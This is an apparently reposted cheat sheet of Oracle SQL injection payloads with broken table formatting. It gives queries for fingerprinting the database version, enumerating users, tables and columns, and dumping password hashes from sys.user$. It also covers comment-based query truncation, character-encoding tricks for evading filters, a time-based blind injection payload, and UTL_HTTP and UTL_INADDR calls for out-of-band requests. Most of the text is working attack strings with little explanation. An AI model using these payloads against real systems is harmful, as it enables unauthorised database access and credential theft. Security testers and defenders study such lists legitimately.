SYSTEM | Available in all versions |
SYSAUX | Available in all versions |
The following can be used to comment out the rest of the query after your injection:
-- | SQL comment |
Example:
SELECT banner FROM v$version WHERE banner LIKE ‘Oracle%‘; |
SELECT banner FROM v$version WHERE banner LIKE ‘TNS%‘; |
SELECT version FROM v$instance; |
Notes:
dual
is a dummy table which can be used for testing.
SELECT username FROM all_users; | Available on all versions |
SELECT name, password from sys.user$; | Privileged, <= 10g |
SELECT name, spare4 from sys.user$; | Privileged, <= 11g |
SELECT name FROM v$database; |
SELECT instance_name FROM v$instance |
SELECT global_name FROM global_name |
SELECT SYS.DATABASE_NAME FROM DUAL |
SELECT DISTINCT owner FROM all_tables; |
SELECT host_name FROM v$instance; (Privileged) |
SELECT UTL_INADDR.get_host_name FROM dual; |
SELECT UTL_INADDR.get_host_name(‘10.0.0.1‘) FROM dual; |
SELECT UTL_INADDR.get_host_address FROM dual; |
SELECT table_name FROM all_tables; |
SELECT column_name FROM all_tab_columns; |
SELECT column_name FROM all_tab_columns WHERE table_name = ‘Users‘; |
SELECT table_name FROM all_tab_tables WHERE column_name = ‘password‘; |
SELECT RTRIM(XMLAGG(XMLELEMENT(e, table_name || ‘,‘)).EXTRACT(‘//text()‘).EXTRACT(‘//text()‘) ,‘,‘) FROM all_tables; |
Unlike other RDBMS, Oracle allows table/column names to be encoded.
SELECT 0x09120911091 FROM dual; | Hex Encoding. |
SELECT CHR(32)||CHR(92)||CHR(93) FROM dual; | CHR() Function. |
SELECT ‘a‘||‘d‘||‘mi‘||‘n‘ FROM dual; |
SELECT CASE WHEN 1=1 THEN ‘true‘ ELSE ‘false‘ END FROM dual |
SELECT UTL_INADDR.get_host_address(‘non-existant-domain.com‘) FROM dual; |
AND (SELECT COUNT(*) FROM all_users t1, all_users t2, all_users t3, all_users t4, all_users t5) > 0 AND 300 > ASCII(SUBSTR((SELECT username FROM all_users WHERE rownum = 1),1,1)); |
SELECT privilege FROM session_privs; |
SELECT grantee, granted_role FROM dba_role_privs; (Privileged) |
SELECT UTL_HTTP.REQUEST(‘http://localhost‘) FROM dual; |
SELECT UTL_INADDR.get_host_address(‘localhost.com‘) FROM dual; |
A Metasploit module for JTR can be found here.
SQL Injection 字典 - Oracle,布布扣,bubuko.com
原文地址:http://www.cnblogs.com/shengxinking/p/3854266.html